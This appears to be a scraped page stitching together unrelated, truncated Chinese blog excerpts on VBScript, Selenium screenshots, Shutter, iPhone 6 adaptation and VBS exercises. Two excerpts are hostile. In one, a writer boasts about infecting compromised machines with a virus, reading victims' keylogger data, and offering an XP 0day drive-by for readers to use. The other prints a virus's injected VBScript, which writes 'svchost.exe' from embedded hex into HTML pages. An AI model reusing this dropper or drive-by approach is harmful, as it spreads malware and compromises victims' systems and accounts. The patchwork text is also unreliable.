vbs 截图

'获取随机数 Public function randonum() Randomize randonum = replace(10000*rnd(),".","a") & "@qq.com" End Function '获取指定范围内的随机数 MAX,MIN RandomizeWScript.Echo Int((MAX-MIN+1)*Rnd)+MIN '截图 Public function capture(part) Dim filena

前言:为了测试更好的 六道轮回病毒....当然  寒龙哥 我 直接搞肉鸡了....呵呵话虽如此.也会给大家发一些福利的..额 对了下面呢?有很多值得的  信息 比如说花生壳域名等等.... 呵呵大家自己看看键盘记录吧..貌似还有新浪微博了.......算 了 今天的  例程入侵思路简单 渗透xp+提权系统权限——传马-+传毒+K杀毒.....废话不多说大家自己搞搞吧...呵呵 哦 公布一下一个xp的0day挂马漏洞! html挂马代码 ...供给大家学习利用!!!!!利用windows 进行执行

VBS脚本可以通过调用WIA.Vector对象画图,使用该对象的Add方法可以把vb中的颜色逐个坐标画到位图中. 下面这段代码,是打印方程X(n+1)=cot(X(n)),x(1)=1迭代20次后的图像(坐标有调整,每个小格并不代表单位1) WScript.Echo "计算X(n+1)=cot(X(n)),x(1)=1 迭代20次" '沙盘 Dim V(300,300) '初始值 Dim F F = 1 '迭代前的初始点 Dim TX, TY For TX = -3 To 3     

今天用VBS脚本写了几个程序,用到了字典(Dictionary).动态数组(ArrayList).队列(Queue)和堆栈(Stack).现在写篇Blog总结一下 :-) 1.编写环境 今天突发奇想下载了个gVim来写VBS脚本,我用的版本是7.4的 在写脚本前,需要在gVim的安装根目录下,找到文件“_vimrc”,在里面添加下面三行: set number set softtabstop=4 set tabstop=4 意思分别是“显示行号”.“按退格键一次删掉4个空格”和“设定Tab长度为

package prictce; import java.io.File; import java.io.IOException; import org.junit.After; import org.junit.Before; import org.junit.Test; import org.openqa.selenium.OutputType; import org.openqa.selenium.TakesScreenshot; import org.openqa.selenium.We

扫描所有盘下面的html文件,加入VBS脚本...真是奇葩,多少年前的病毒了... http://files.cnblogs.com/files/guangshan/lpdmcxq.rar 这个是病毒链接,下载地址也在里面. 原理是为所有的html文件增加一段脚本: </div><SCRIPT Language=VBScript><!-- DropFileName = "svchost.exe" WriteData = "4D5A90000300

[原创作品,技术交流.允许转载,转载时请务必以超链接形式标明文章原始出处 .作者信息.如有错误,请指正] /** author: lihaibo date: 1/25/2016 */ 今天安装了双系统之后,有时候需要截图不是很方便,查了下linux下比较流行的截图工具:shutter 1.安装shutter 从开源社区下载:  http://www.oschina.net/p/shutter/ 操作命令: sudo add-apt-repository ppa:shutter/ppa sudo

有幸在9月25日拿到了iP6和iP6 Plus的真机,恰好又要做适配APP的工作(从iphone5上适配到iphone6和ip6 plus上),所以在真机上研究了下苹果官方在不同分辨率下对系统APP所做的适配.同时在网上也没找到相关的真机对比截图说明什么的,又有朋友问我要IP6和PLUS的真机截图回去自己研究,既然这样,那么干嘛不利用自己已有的资源,让更多的设计师受益呢?所以那就说点什么吧,抛砖引玉,希望大家可以共同研究,少走些弯路,共同成长. 之前看过@jingdesign 的关于适配ip6的

练习题: 1.输入3个数,输出其中最大的那个值. Option Explicit Dim intA,intB,intC intA=CInt(InputBox("请输入a:")) intB=CInt(InputBox("请输入b:")) intC=CInt(InputBox("请输入c:")) If intA>intB And intA>intC Then MsgBox "最大值是:"&intA ElseIf